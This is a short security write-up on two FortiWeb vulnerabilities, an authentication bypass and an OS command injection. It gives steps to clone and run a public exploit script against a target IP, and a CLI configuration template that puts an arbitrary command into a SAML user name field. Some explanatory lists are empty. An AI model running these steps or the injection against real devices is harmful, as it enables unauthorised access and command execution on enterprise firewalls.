
Security research on Fortinet FortiWeb vulnerabilities (CVE-2025-64446, CVE-2025-58034)
Fortinet FortiWeb is a Web Application Firewall (WAF) device widely deployed in enterprise systems to protect web applications from common threats.
Since FortiWeb typically sits at a central protection layer, vulnerabilities related to authentication or OS command execution can severely impact the entire backend infrastructure. In 2025, two critical vulnerabilities were disclosed in FortiWeb:
CVE-2025-64446 – Authentication Bypass via Relative Path Traversal
CVE-2025-58034 – OS Command Injection in Authenticated Context
CVE-2025-64446 stems from FortiWeb's loose handling and validation of access paths before applying the authentication mechanism.
Specifically:
This flaw leads to certain administrative endpoints being accessible without valid authentication.
CVE-2025-58034 arises because FortiWeb unsafely processes user input when invoking OS commands.
Main causes include:
This vulnerability requires an authenticated context, but still carries high risk due to command execution.
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034 cd CVE-2025-64446_CVE-2025-58034
A Python virtual environment (venv) is used to create an isolated workspace for each project, separating dependency libraries from the main Python system. This helps avoid library version conflicts, ensures a stable working environment, and minimizes impact on the system.
python3 -m venv venv source venv/bin/activate
pip install -r requirements.txt
python exploit.py <target_ip>

config user saml-user
edit "<YOUR COMMAND>"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
The CVE-2025-58034 vulnerability arises because FortiWeb does not strictly control input data in certain configuration fields, especially the value passed through the command: edit "" Issue: This value is processed as a configuration string It is then passed into internal OS commands Without sufficient filtering or escaping of special characters This leads to the possibility that configuration data can directly affect the executed OS command, resulting in an OS Command Injection vulnerability.